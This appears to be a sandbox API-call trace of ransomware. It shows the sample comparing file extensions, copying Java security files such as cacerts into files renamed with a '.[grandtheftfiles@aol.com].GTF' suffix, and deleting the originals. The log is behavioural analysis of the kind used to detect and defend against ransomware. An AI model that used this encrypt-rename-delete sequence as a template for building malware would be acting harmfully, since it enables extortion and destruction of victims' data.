	[0162.750] lstrlenW (lpString=".doc") returned 4
	[0162.750] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.750] lstrlenW (lpString=".docx") returned 5
	[0162.750] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0162.750] lstrlenW (lpString=".pdf") returned 4
	[0162.750] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.750] lstrlenW (lpString=".xls") returned 4
	[0162.750] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.750] lstrlenW (lpString=".xlsx") returned 5
	[0162.750] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0162.750] lstrlenW (lpString=".ppt") returned 4
	[0162.750] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0162.750] lstrlenW (lpString=".zip") returned 4
	[0162.750] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.750] lstrlenW (lpString=".rar") returned 4
	[0162.750] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.750] lstrlenW (lpString=".bz2") returned 4
	[0162.750] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.750] lstrlenW (lpString=".7z") returned 3
	[0162.750] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0162.751] lstrlenW (lpString=".dbf") returned 4
	[0162.751] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0162.751] lstrlenW (lpString=".1cd") returned 4
	[0162.751] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0162.751] lstrlenW (lpString=".jpg") returned 4
	[0162.751] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.751] lstrcmpiW (lpString1=".0_144\\lib\\security\\blacklist", lpString2=".GTF") returned -1
	[0162.751] lstrlenW (lpString="blacklist") returned 9
	[0162.751] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.754] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4054) returned 1
	[0162.754] CloseHandle (hObject=0x508) returned 1
	[0162.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20
	[0162.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.754] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.755] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.755] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.755] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.759] GetLastError () returned 0x0
	[0162.759] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0xfd6, lpOverlapped=0x0) returned 1
	[0162.761] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfe0, lpOverlapped=0x0) returned 1
	[0162.762] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.762] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0162.762] SetEndOfFile (hFile=0x538) returned 1
	[0162.762] CloseHandle (hObject=0x538) returned 1
	[0162.762] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.762] SetEndOfFile (hFile=0x508) returned 1
	[0162.765] CloseHandle (hObject=0x508) returned 1
	[0162.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.765] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1
	[0162.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.766] lstrlenW (lpString=".doc") returned 4
	[0162.766] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0162.766] lstrlenW (lpString=".docx") returned 5
	[0162.766] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1
	[0162.766] lstrlenW (lpString=".pdf") returned 4
	[0162.766] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0162.766] lstrlenW (lpString=".xls") returned 4
	[0162.766] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0162.766] lstrlenW (lpString=".xlsx") returned 5
	[0162.766] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1
	[0162.766] lstrlenW (lpString=".ppt") returned 4
	[0162.766] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0162.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.766] lstrlenW (lpString=".zip") returned 4
	[0162.766] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0162.766] lstrlenW (lpString=".rar") returned 4
	[0162.766] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0162.766] lstrlenW (lpString=".bz2") returned 4
	[0162.766] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0162.766] lstrlenW (lpString=".7z") returned 3
	[0162.766] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0162.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.766] lstrlenW (lpString=".dbf") returned 4
	[0162.767] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0162.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.767] lstrlenW (lpString=".1cd") returned 4
	[0162.767] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0162.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.767] lstrlenW (lpString=".jpg") returned 4
	[0162.767] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0162.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.767] lstrlenW (lpString=".doc") returned 4
	[0162.767] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0162.767] lstrlenW (lpString=".docx") returned 5
	[0162.767] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1
	[0162.767] lstrlenW (lpString=".pdf") returned 4
	[0162.767] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0162.767] lstrlenW (lpString=".xls") returned 4
	[0162.767] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0162.767] lstrlenW (lpString=".xlsx") returned 5
	[0162.767] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1
	[0162.767] lstrlenW (lpString=".ppt") returned 4
	[0162.767] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0162.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.767] lstrlenW (lpString=".zip") returned 4
	[0162.767] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0162.767] lstrlenW (lpString=".rar") returned 4
	[0162.767] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0162.767] lstrlenW (lpString=".bz2") returned 4
	[0162.767] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0162.767] lstrlenW (lpString=".7z") returned 3
	[0162.767] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0162.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.767] lstrlenW (lpString=".dbf") returned 4
	[0162.767] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0162.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.767] lstrlenW (lpString=".1cd") returned 4
	[0162.767] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0162.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0162.768] lstrlenW (lpString=".jpg") returned 4
	[0162.768] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0162.768] lstrcmpiW (lpString1=".certs", lpString2=".GTF") returned -1
	[0162.768] lstrlenW (lpString="blacklisted.certs") returned 17
	[0162.768] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.768] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1253) returned 1
	[0162.768] CloseHandle (hObject=0x508) returned 1
	[0162.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20
	[0162.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.769] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.769] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.769] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.769] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.770] GetLastError () returned 0x0
	[0162.770] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x4e5, lpOverlapped=0x0) returned 1
	[0162.772] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0162.773] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.773] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0162.774] SetEndOfFile (hFile=0x538) returned 1
	[0162.774] CloseHandle (hObject=0x538) returned 1
	[0162.774] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.774] SetEndOfFile (hFile=0x508) returned 1
	[0162.779] CloseHandle (hObject=0x508) returned 1
	[0162.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.780] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1
	[0162.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.780] lstrlenW (lpString=".doc") returned 4
	[0162.780] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0162.780] lstrlenW (lpString=".docx") returned 5
	[0162.780] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0162.780] lstrlenW (lpString=".pdf") returned 4
	[0162.780] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0162.780] lstrlenW (lpString=".xls") returned 4
	[0162.781] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0162.781] lstrlenW (lpString=".xlsx") returned 5
	[0162.781] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0162.781] lstrlenW (lpString=".ppt") returned 4
	[0162.781] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0162.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.781] lstrlenW (lpString=".zip") returned 4
	[0162.781] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0162.781] lstrlenW (lpString=".rar") returned 4
	[0162.781] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0162.781] lstrlenW (lpString=".bz2") returned 4
	[0162.781] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0162.781] lstrlenW (lpString=".7z") returned 3
	[0162.781] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0162.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.781] lstrlenW (lpString=".dbf") returned 4
	[0162.781] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0162.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.781] lstrlenW (lpString=".1cd") returned 4
	[0162.781] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0162.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.781] lstrlenW (lpString=".jpg") returned 4
	[0162.781] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0162.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.781] lstrlenW (lpString=".doc") returned 4
	[0162.781] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0162.781] lstrlenW (lpString=".docx") returned 5
	[0162.781] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0162.781] lstrlenW (lpString=".pdf") returned 4
	[0162.781] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0162.781] lstrlenW (lpString=".xls") returned 4
	[0162.781] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0162.781] lstrlenW (lpString=".xlsx") returned 5
	[0162.781] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0162.781] lstrlenW (lpString=".ppt") returned 4
	[0162.782] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0162.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.782] lstrlenW (lpString=".zip") returned 4
	[0162.782] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0162.782] lstrlenW (lpString=".rar") returned 4
	[0162.782] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0162.782] lstrlenW (lpString=".bz2") returned 4
	[0162.782] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0162.782] lstrlenW (lpString=".7z") returned 3
	[0162.782] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0162.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.782] lstrlenW (lpString=".dbf") returned 4
	[0162.782] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0162.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.782] lstrlenW (lpString=".1cd") returned 4
	[0162.782] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0162.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0162.782] lstrlenW (lpString=".jpg") returned 4
	[0162.782] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0162.782] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".GTF") returned -1
	[0162.782] lstrlenW (lpString="cacerts") returned 7
	[0162.782] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.783] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=114923) returned 1
	[0162.783] CloseHandle (hObject=0x508) returned 1
	[0162.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20
	[0162.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.783] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.783] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.783] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.783] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.784] GetLastError () returned 0x0
	[0162.784] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x1c0eb, lpOverlapped=0x0) returned 1
	[0163.172] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1c0f0, lpOverlapped=0x0) returned 1
	[0163.175] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.175] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0163.175] SetEndOfFile (hFile=0x538) returned 1
	[0163.175] CloseHandle (hObject=0x538) returned 1
	[0163.175] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.175] SetEndOfFile (hFile=0x508) returned 1
	[0163.179] CloseHandle (hObject=0x508) returned 1
	[0163.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0163.179] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1
	[0163.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.180] lstrlenW (lpString=".doc") returned 4
	[0163.180] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0163.180] lstrlenW (lpString=".docx") returned 5
	[0163.180] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0163.180] lstrlenW (lpString=".pdf") returned 4
	[0163.180] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0163.180] lstrlenW (lpString=".xls") returned 4
	[0163.180] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0163.180] lstrlenW (lpString=".xlsx") returned 5
	[0163.180] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0163.180] lstrlenW (lpString=".ppt") returned 4
	[0163.180] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0163.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.180] lstrlenW (lpString=".zip") returned 4
	[0163.180] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0163.180] lstrlenW (lpString=".rar") returned 4
	[0163.180] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0163.180] lstrlenW (lpString=".bz2") returned 4
	[0163.180] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0163.180] lstrlenW (lpString=".7z") returned 3
	[0163.180] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0163.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.180] lstrlenW (lpString=".dbf") returned 4
	[0163.181] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0163.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.181] lstrlenW (lpString=".1cd") returned 4
	[0163.181] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0163.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.181] lstrlenW (lpString=".jpg") returned 4
	[0163.181] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0163.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.181] lstrlenW (lpString=".doc") returned 4
	[0163.181] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0163.181] lstrlenW (lpString=".docx") returned 5
	[0163.181] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0163.181] lstrlenW (lpString=".pdf") returned 4
	[0163.181] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0163.181] lstrlenW (lpString=".xls") returned 4
	[0163.181] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0163.181] lstrlenW (lpString=".xlsx") returned 5
	[0163.181] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0163.181] lstrlenW (lpString=".ppt") returned 4
	[0163.181] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0163.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0163.181] lstrlenW (lpString=".zip") returned 4
	[0163.181] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0163.181] lstrlenW (lpString=".rar") returned 4
	[0163.181] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0163.181] lstrlenW (lpString=".bz2") returned 4
	[0163.181] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
